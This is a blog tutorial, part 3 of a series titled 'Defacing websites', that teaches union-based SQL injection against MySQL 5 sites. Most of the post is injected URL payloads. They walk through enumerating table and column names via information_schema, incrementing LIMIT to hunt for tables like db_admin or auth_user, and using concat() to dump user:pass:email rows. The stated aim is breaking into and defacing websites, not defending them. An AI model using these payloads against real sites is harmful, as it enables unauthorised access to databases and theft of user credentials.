Search This Blog

Tuesday, March 1, 2011

Defacing websites Part 3

Using SQL Injection and Php shell code scripting Part 3


6). MySQL 5
Like i said before i'm gonna explain how to get table and column names in MySQL > 5.

For this we need information_schema.

It holds all tables and columns in database.

to get tables we use table_name and information_schema.tables.

i.e
http://www.site.com/news.php?id=5
union all select 1,table_name,3 from
information_schema.tables/*


here we replace the our number 2 with table_name to get the first table from information_schema.tables

displayed on the screen. Now we must add LIMIT to the end of query to list out all tables.

i.e
http://www.site.com/news.php?id=5
union all select 1,table_name,3 from
information_schema.tables limit 0,1/*


note that i put 0,1 (get 1 result starting from the 0th)

now to view the second table, we change limit 0,1 to limit 1,1

i.e
http://www.site.com/news.php?id=5
union all select 1,table_name,3 from
information_schema.tables limit 1,1/*


the second table is displayed.

for third table we put limit 2,1

i.e
http://www.site.com/news.php?id=5 union all select 1,table_name,3 from
information_schema.tables limit 2,1/*


Keep incrementing until you get some useful like db_admin, poll_user, auth, auth_user etc...

To get the column names the method is the same.

here we use column_name and information_schema.columns

the method is same as above so example would be http://www.site.com/news.php?id=5
union all select 1,column_name,3
from information_schema.columns limit 0,1/*


The first column is diplayed.

The second one (we change limit 0,1 to limit 1,1)

ie.
http://www.site.com/news.php?id=5
union all select 1,column_name,3
from information_schema.columns limit 1,1/*


The second column is displayed, so keep incrementing until you get something like

username,user,login, password, pass, passwd etc...

If you wanna display column names for specific table use this query. (where clause)

Let's say that we found table users.

i.e
http://www.site.com/news.php?id=5
union all select 1,column_name,3 from information_schema.columns where table_name='users'/*


Now we get displayed column name in table users. Just using LIMIT we can list all columns in table users.

Note that this won't work if the magic quotes is ON.

Let's say that we found colums user, pass and email.

Now to complete query to put them all together.

For that we use concat() , i decribe it earlier.

i.e
http://www.site.com/news.php?id=5
union all select 1,concat(user,0x3a,pass,0x3a,email)from users/


What we get here is user:pass:email from table users.

Example: admin:hash:
whatever@blabla.com

Part 1
Part 2
Part 3
Part 4

No comments: